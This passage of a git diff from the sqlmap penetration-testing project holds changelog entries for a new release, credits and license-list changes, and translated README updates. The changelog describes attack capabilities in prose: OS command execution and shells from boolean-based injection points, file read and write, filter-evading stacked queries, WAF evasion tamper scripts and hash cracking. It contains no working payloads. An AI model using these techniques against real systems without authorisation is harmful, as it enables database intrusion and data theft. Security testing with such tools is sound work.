OpenAPI or Swagger document. The options `--openapi-base` and `--openapi-tags` limit that list. +* Added the switch `--mine-params`. It finds hidden GET parameters. +* Added the switch `--proof`. It proves the exploitation of each injection point that it finds. +* Added the option `--report-json`. It writes the results of the run to a JSON file. +* Added the switch `--procs`. It retrieves the stored procedures and their source code. +* Added the option `--exclude`. It gives the databases that sqlmap must not enumerate. +* Added JSONL as a dump format. +* Added the use of sqlmap as a library. +* Added experimental support for gRPC-Web (text) requests. +* Improved the crawler. It now finds the endpoints in JavaScript files. + +## Back-end DBMS + +* Added support for SAP HANA. +* Added support for Snowflake. +* Added support for Google Cloud Spanner. +* Added support for DuckDB and Trino as forks. +* Added the switch `--esperanto`. It enumerates a back-end DBMS that sqlmap cannot identify. +* Added XQuery support to the switch `--xpath`. XQuery is a superset of XPath, so the same injection point gives more. On a back-end that supports it, sqlmap reads a file through `unparsed-text()`. +* Added error-based payloads for CUBRID, InterSystems Cache, Virtuoso, H2, Firebird, and Vertica. +* Added time-based payloads for CUBRID. +* Added out-of-band DNS channels for H2 and ClickHouse. +* Added PostgreSQL command execution through a PL extension. +* Added the running of non-query statements without stacked queries through a gadget. On PostgreSQL, when the `dblink` extension is there and the current user can run it, `--sql-query`, `--file-write`, `--os-cmd`, and `--os-shell` now work from a plain (e.g. boolean-based) injection point. +* Added file read and file write support for SQLite through the `fileio` extension functions `readfile` and `writefile`. +* Added the data access and the security type of a routine to the output of `--procs` on MySQL and PostgreSQL, so a routine that runs as its definer or that modifies data stands out. +* Added stacked query payloads for Microsoft SQL Server and Sybase that carry no semicolon, so a filtered semicolon alone no longer hides the technique. +* Added the error signatures that tell the MySQL and the PostgreSQL forks apart: Doris, StarRocks, CockroachDB, YugabyteDB, OpenGauss, DuckDB, and Trino. These forks keep the wording of the engine that they come from, so only a leaked driver package or an engine-internal source reference gives them away. +* Made the fingerprinting payloads friendlier to a WAF, so the version detection survives where it used to get blocked. +* Added the tamper scripts `blindbinary`, `castprefix`, `dollarquote`, `infoschema2innodb`, `mid2leftright`, `mssqlnosemicolon`, `odbcbrace`, `oraclequote`, `quote2ltat`, `sign`, `sleep2hex`, and `uniontable`. + +## Fewer dependencies + +* Added an HTTP/2 client. It uses only the standard library. +* Added WebSocket support. It uses only the standard library. +* Added the decoding of Brotli and Zstandard responses. It uses only the standard library. +* Added Kerberos and Negotiate authentication. It uses only the standard library. +* Added NTLM authentication. This removed a deprecated third-party library. +* Rewrote the Keep-Alive handler. This removed the third-party package `keepalive`. +* Removed the third-party packages `multipart`, `odict`, and `prettyprint`. +* Replaced SocksiPy with PySocks. + +## Security + +* Removed all use of `pickle`. sqlmap now uses JSON for the session data and for the other serialized data. +* The REST API now requires authentication credentials. +* Put the `eval` behavior behind the environment variable `SQLMAP_UNSAFE_EVAL`. +* Put the option `--alert` behind the environment variable `SQLMAP_UNSAFE_ALERT`. +* Hardened the Brotli and the Zstandard decoders against hostile input. + +## Correctness + +* Made the boolean inference more reliable when the network has much jitter. +* Added automatic recovery when the page charset and the data charset do not agree. +* sqlmap now finds binary fields automatically in blind mode. +* Added support for the response code 429 (rate limit). +* Corrected the retrieval of UTF8MB4 characters from MySQL. +* Corrected the Set-Cookie behavior in redirections. Added support for domain cookies. +* sqlmap now keeps the value of an injected Host header. +* Removed the time outliers from the time statistics. +* Improved the detection of the SQL dialect of the target. +* The switch `--xpath` no longer reports an injection when the page changes only because it shows the payload again. Reflection is not proof that an expression was evaluated. +* sqlmap now makes sure that the random markers around the retrieved data are all different. Two equal markers made the error-based technique give back the wrong character. +* Made the heuristic hints of the non-SQL switches exclusive. A signature no longer matches the errors of a different engine, an ordinary SQL error, or a page that only contains the name of a template engine. +* Corrected the GraphQL validation signatures. They now match the quotes in the way that the JSON body escapes them. +* Added the error signatures of Mako and of DynamoDB. sqlmap did not recognise the errors of these two back-ends. +* sqlmap no longer stops with an exception on a JWT whose signature is not valid base64url. Such a signature can not be an HMAC that sqlmap could verify, so it is reported as not crackable instead. +* Corrected the uppercasing of the keywords in the shown queries. A word that merely contains a keyword (e.g. a table named `selected`) and a keyword inside a quoted string are now left alone. +* Corrected the cracking of the old Oracle password hashes when the user name or the password does not come in as text. +* sqlmap now skips a UNION test whose request holds no character instead of stopping with an exception. Only a hand-edited `payloads/union_query.xml` can hold such a test. +* The gadget check now runs the gadget itself instead of only looking for the extension. A user that can not use it no longer gets a false success. + +## Quality + +* Added a unit test suite. It has more than 90 modules, and it runs on Python 2 and Python 3. +* Added pyflakes and more self-test stages to the CI/CD pipeline. +* Added `doc/ARCHITECTURE.md`. + # Version 1.10 (2026-01-01) * [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.9...1.10) diff --git a/doc/THANKS.md b/doc/THANKS.md index 62d4ba136cf..aa636fdeb20 100644 --- a/doc/THANKS.md +++ b/doc/THANKS.md @@ -175,7 +175,7 @@ Ivan Giacomelli, * for reviewing the documentation Dimitris Giannitsaros, -* for contributing a REST-JSON API client +* for contributing a REST API client Nico Golde, * for reporting a couple of bugs @@ -623,6 +623,9 @@ Thierry Zoller, Zhen Zhou, * for suggesting a feature +Zakaria Zoulati, +* for contributing SAP HANA support + -insane-, * for reporting a minor bug diff --git a/doc/THIRD-PARTY.md b/doc/THIRD-PARTY.md index 03c0c01e8f4..971e794be6a 100644 --- a/doc/THIRD-PARTY.md +++ b/doc/THIRD-PARTY.md @@ -15,7 +15,7 @@ This file lists bundled packages and their associated licensing terms. Copyright (C) 2013, Jonathan Hartley. * The `Fcrypt` library located under `thirdparty/fcrypt/`. Copyright (C) 2000, 2001, 2004 Carey Evans. -* The `SocksiPy` library located under `thirdparty/socks/`. +* The `PySocks` library located under `thirdparty/socks/`. Copyright (C) 2006, Dan-Haim. ```` @@ -46,10 +46,6 @@ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * The `Chardet` library located under `thirdparty/chardet/`. Copyright (C) 2008, Mark Pilgrim. -* The `KeepAlive` library located under `thirdparty/keepalive/`. - Copyright (C) 2002-2003, Michael D. Stenner. -* The `MultipartPost` library located under `thirdparty/multipart/`. - Copyright (C) 2006, Will Holcomb. * The `icmpsh` tool located under `extra/icmpsh/`. Copyright (C) 2010, Nico Leidecker, Bernardo Damele. @@ -272,8 +268,6 @@ be bound by the terms and conditions of this License Agreement. Copyright (C) 2024, Marcel Hellkamp. * The `identYwaf` library located under `thirdparty/identywaf/`. Copyright (C) 2019-2021, Miroslav Stampar. -* The `ordereddict` library located under `thirdparty/odict/`. - Copyright (C) 2009, Raymond Hettinger. * The `six` Python 2 and 3 compatibility library located under `thirdparty/six/`. Copyright (C) 2010-2024, Benjamin Peterson. * The `Termcolor` library located under `thirdparty/termcolor/`. diff --git a/doc/translations/README-ar-AR.md b/doc/translations/README-ar-AR.md index 29d8e9f15b0..2b68044ba00 100644 --- a/doc/translations/README-ar-AR.md +++ b/doc/translations/README-ar-AR.md @@ -1,4 +1,4 @@ -# sqlmap ![](https://i.imgur.com/fe85aVR.png) +# sqlmap [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![X](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) @@ -58,11 +58,13 @@ ---- * الصفحة الرئيسية: https://sqlmap.org -* التحميل: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) أو [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* التحميل: [‪.tar.gz‬](https://github.com/sqlmapproject/sqlmap/tarball/master) أو [‪.zip‬](https://github.com/sqlmapproject/sqlmap/zipball/master) * تغذية التحديثات RSS: https://github.com/sqlmapproject/sqlmap/commits/master.atom * تتبع المشكلات: https://github.com/sqlmapproject/sqlmap/issues * دليل المستخدم: https://github.com/sqlmapproject/sqlmap/wiki * الأسئلة الشائعة: https://github.com/sqlmapproject/sqlmap/wiki/FAQ * تويتر: [@sqlmap](https://x.com/sqlmap) * العروض التوضيحية: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) -* لقطات الشاشة: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots \ No newline at end of file +* ساحة التدريب: https://sekumart.sekuripy.hr +* الأبحاث: https://www.sekuripy.hr/labs/sqlmap/#research +* لقطات الشاشة: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-bg-BG.md b/doc/translations/README-bg-BG.md index d66b5301e11..38fcc2a526f 100644 --- a/doc/translations/README-bg-BG.md +++ b/doc/translations/README-bg-BG.md @@ -1,4 +1,4 @@ -# sqlmap ![](https://i.imgur.com/fe85aVR.png) +# sqlmap [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) @@ -47,4 +47,6 @@ sqlmap работи самостоятелно с [Python](https://www.python.or * Често задавани въпроси (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Демо: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Площадка за упражнения: https://sekumart.sekuripy.hr +* Изследвания: https://www.sekuripy.hr/labs/sqlmap/#research * Снимки на екрана: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-bn-BD.md b/doc/translations/README-bn-BD.md index 8e4cfe36905..309ae05952f 100644 --- a/doc/translations/README-bn-BD.md +++ b/doc/translations/README-bn-BD.md @@ -1,4 +1,4 @@ -# sqlmap ![](https://i.imgur.com/fe85aVR.png) +# sqlmap [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![X](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) @@ -58,5 +58,7 @@ SQLMap-এর সম্পূর্ণ ফিচার, ক্ষমতা, এ * সচরাচর জিজ্ঞাসিত প্রশ্ন (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * ডেমো ভিডিও: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* অনুশীলন সাইট: https://sekumart.sekuripy.hr +* গবেষণা: https://www.sekuripy.hr/labs/sqlmap/#research * স্ক্রিনশট: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-ckb-KU.md b/doc/translations/README-ckb-KU.md index db813955337..ed5cfb07d79 100644 --- a/doc/translations/README-ckb-KU.md +++ b/doc/translations/README-ckb-KU.md @@ -1,4 +1,4 @@ -# sqlmap ![](https://i.imgur.com/fe85aVR.png) +# sqlmap [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) @@ -62,6 +62,8 @@ sqlmap لە دەرەوەی سندوق کاردەکات لەگەڵ [Python](https * پرسیارە زۆرەکان (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * دیمۆ: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* گۆڕەپانی تاقیکردنەوە: https://sekumart.sekuripy.hr +* توێژینەوە: https://www.sekuripy.hr/labs/sqlmap/#research * وێنەی شاشە: https://github.com/sqlmapproject/sqlmap/wiki/وێنەی شاشە وەرگێڕانەکان diff --git a/doc/translations/README-de-DE.md b/doc/translations/README-de-DE.md index 65d96220ea5..56d09a9b0db 100644 --- a/doc/translations/README-de-DE.md +++ b/doc/translations/README-de-DE.md @@ -1,4 +1,4 @@ -# sqlmap ![](https://i.imgur.com/fe85aVR.png) +# sqlmap [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) @@ -46,4 +46,6 @@ Links * Häufig gestellte Fragen (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demonstrationen: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Spielwiese: https://sekumart.sekuripy.hr +* Forschung: https://www.sekuripy.hr/labs/sqlmap/#research * Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-es-MX.md b/doc/translations/README-es-MX.md index f85f4862fca..3dd7c490065 100644 --- a/doc/translations/README-es-MX.md +++ b/doc/translations/README-es-MX.md @@ -1,4 +1,4 @@ -# sqlmap ![](https://i.imgur.com/fe85aVR.png) +# sqlmap [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) @@ -46,4 +46,6 @@ Enlaces * Preguntas frecuentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demostraciones: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Campo de pruebas: https://sekumart.sekuripy.hr +* Investigación: https://www.sekuripy.hr/labs/sqlmap/#research * Imágenes: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-fa-IR.md b/doc/translations/README-fa-IR.md index eb84e410939..99d2b844bd9 100644 --- a/doc/translations/README-fa-IR.md +++ b/doc/translations/README-fa-IR.md @@ -1,4 +1,4 @@ -# sqlmap ![](https://i.imgur.com/fe85aVR.png) +# sqlmap [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) @@ -81,4 +81,6 @@ * سوالات متداول: https://github.com/sqlmapproject/sqlmap/wiki/FAQ * توییتر: [@sqlmap](https://x.com/sqlmap) * رسانه: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* زمین تمرین: https://sekumart.sekuripy.hr +* پژوهش: https://www.sekuripy.hr/labs/sqlmap/#research * تصاویر: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-fr-FR.md b/doc/translations/README-fr-FR.md index 4d867898b97..1fa4879f793 100644 --- a/doc/translations/README-fr-FR.md +++ b/doc/translations/README-fr-FR.md @@ -1,4 +1,4 @@ -# sqlmap ![](https://i.imgur.com/fe85aVR.png) +# sqlmap [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) @@ -46,4 +46,6 @@ Liens * Foire aux questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Démonstrations: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Terrain de jeu: https://sekumart.sekuripy.hr +* Recherche: https://www.sekuripy.hr/labs/sqlmap/#research * Les captures d'écran: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-gr-GR.md b/doc/translations/README-gr-GR.md index 0d5e0446570..71b771a209c 100644 --- a/doc/translations/README-gr-GR.md +++ b/doc/translations/README-gr-GR.md @@ -1,4 +1,4 @@ -# sqlmap ![](https://i.imgur.com/fe85aVR.png) +# sqlmap [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) @@ -47,4 +47,6 @@ * Συχνές Ερωτήσεις (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Χώρος δοκιμών: https://sekumart.sekuripy.hr +* Έρευνα: https://www.sekuripy.hr/labs/sqlmap/#research * Εικόνες: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-hr-HR.md b/doc/translations/README-hr-HR.md index 45d5eaad1f9..3b7772ce8b3 100644 --- a/doc/translations/README-hr-HR.md +++ b/doc/translations/README-hr-HR.md @@ -1,4 +1,4 @@ -# sqlmap ![](https://i.imgur.com/fe85aVR.png) +# sqlmap [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) @@ -47,4 +47,6 @@ Poveznice * Najčešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Vježbalište: https://sekumart.sekuripy.hr +* Istraživanje: https://www.sekuripy.hr/labs/sqlmap/#research * Slike zaslona: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-id-ID.md b/doc/translations/README-id-ID.md index f82bf71d2ec..68e28de16c4 100644 --- a/doc/translations/README-id-ID.md +++ b/doc/translations/README-id-ID.md @@ -1,4 +1,4 @@ -# sqlmap ![](https://i.imgur.com/fe85aVR.png) +# sqlmap [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) @@ -50,4 +50,6 @@ Tautan * Pertanyaan Yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Video Demo [#1](https://www.youtube.com/user/inquisb/videos) dan [#2](https://www.youtube.com/user/stamparm/videos) +* Arena latihan: https://sekumart.sekuripy.hr +* Riset: https://www.sekuripy.hr/labs/sqlmap/#research * Tangkapan Layar: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-in-HI.md b/doc/translations/README-in-HI.md index b311f81afe3..7b147b75d4d 100644 --- a/doc/translations/README-in-HI.md +++ b/doc/translations/README-in-HI.md @@ -1,4 +1,4 @@ -# sqlmap ![](https://i.imgur.com/fe85aVR.png) +# sqlmap [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) @@ -46,5 +46,7 @@ sqlmap [Python](https://www.python.org/download/) संस्करण **2.7** * अक्सर पूछे जाने वाले प्रश्न (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * ट्विटर: [@sqlmap](https://x.com/sqlmap) * डेमो: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* अभ्यास स्थल: https://sekumart.sekuripy.hr +* अनुसंधान: https://www.sekuripy.hr/labs/sqlmap/#research * स्क्रीनशॉट: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots * diff --git a/doc/translations/README-it-IT.md b/doc/translations/README-it-IT.md index 6b074141b41..50cc806369b 100644 --- a/doc/translations/README-it-IT.md +++ b/doc/translations/README-it-IT.md @@ -1,4 +1,4 @@ -# sqlmap ![](https://i.imgur.com/fe85aVR.png) +# sqlmap [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) @@ -47,4 +47,6 @@ Link * Domande più frequenti (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Dimostrazioni: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Campo di prova: https://sekumart.sekuripy.hr +* Ricerca: https://www.sekuripy.hr/labs/sqlmap/#research * Screenshot: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-ja-JP.md b/doc/translations/README-ja-JP.md index d43e3f563e1..e6a577d34d3 100644 --- a/doc/translations/README-ja-JP.md +++ b/doc/translations/README-ja-JP.md @@ -1,4 +1,4 @@ -# sqlmap ![](https://i.imgur.com/fe85aVR.png) +# sqlmap [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) @@ -48,4 +48,6 @@ sqlmapの概要、機能の一覧、全てのオプションやスイッチの * よくある質問 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * デモ: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* プレイグラウンド: https://sekumart.sekuripy.hr +* 研究: https://www.sekuripy.hr/labs/sqlmap/#research * スクリーンショット: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-ka-GE.md b/doc/translations/README-ka-GE.md index 12b59b31ea4..042ffeb5de5 100644 --- a/doc/translations/README-ka-GE.md +++ b/doc/translations/README-ka-GE.md @@ -1,4 +1,4 @@ -# sqlmap ![](https://i.imgur.com/fe85aVR.png) +# sqlmap [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) @@ -46,4 +46,6 @@ sqlmap ნებისმიერ პლატფორმაზე მუშ * ხშირად დასმული კითხვები (ხდკ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * დემონსტრაციები: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* სავარჯიშო სივრცე: https://sekumart.sekuripy.hr +* კვლევა: https://www.sekuripy.hr/labs/sqlmap/#research * ეკრანის ანაბეჭდები: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-ko-KR.md b/doc/translations/README-ko-KR.md index 2542209833e..e40265e686f 100644 --- a/doc/translations/README-ko-KR.md +++ b/doc/translations/README-ko-KR.md @@ -1,4 +1,4 @@ -# sqlmap ![](https://i.imgur.com/fe85aVR.png) +# sqlmap [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) @@ -47,4 +47,6 @@ sqlmap의 능력, 지원되는 기능과 모든 옵션과 스위치들의 목록 * 자주 묻는 질문 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * 트위터: [@sqlmap](https://x.com/sqlmap) * 시연 영상: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* 플레이그라운드: https://sekumart.sekuripy.hr +* 연구: https://www.sekuripy.hr/labs/sqlmap/#research * 스크린샷: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-nl-NL.md b/doc/translations/README-nl-NL.md index f114168410d..8e22c888cf9 100644 --- a/doc/translations/README-nl-NL.md +++ b/doc/translations/README-nl-NL.md @@ -1,4 +1,4 @@ -# sqlmap ![](https://i.imgur.com/fe85aVR.png) +# sqlmap [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) @@ -47,4 +47,6 @@ Links * Vaak gestelde vragen (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Speeltuin: https://sekumart.sekuripy.hr +* Onderzoek: https://www.sekuripy.hr/labs/sqlmap/#research * Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-pl-PL.md b/doc/translations/README-pl-PL.md index e7b145e96b8..0808dd2179d 100644 --- a/doc/translations/README-pl-PL.md +++ b/doc/translations/README-pl-PL.md @@ -1,4 +1,4 @@ -# sqlmap ![](https://i.imgur.com/fe85aVR.png) +# sqlmap [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 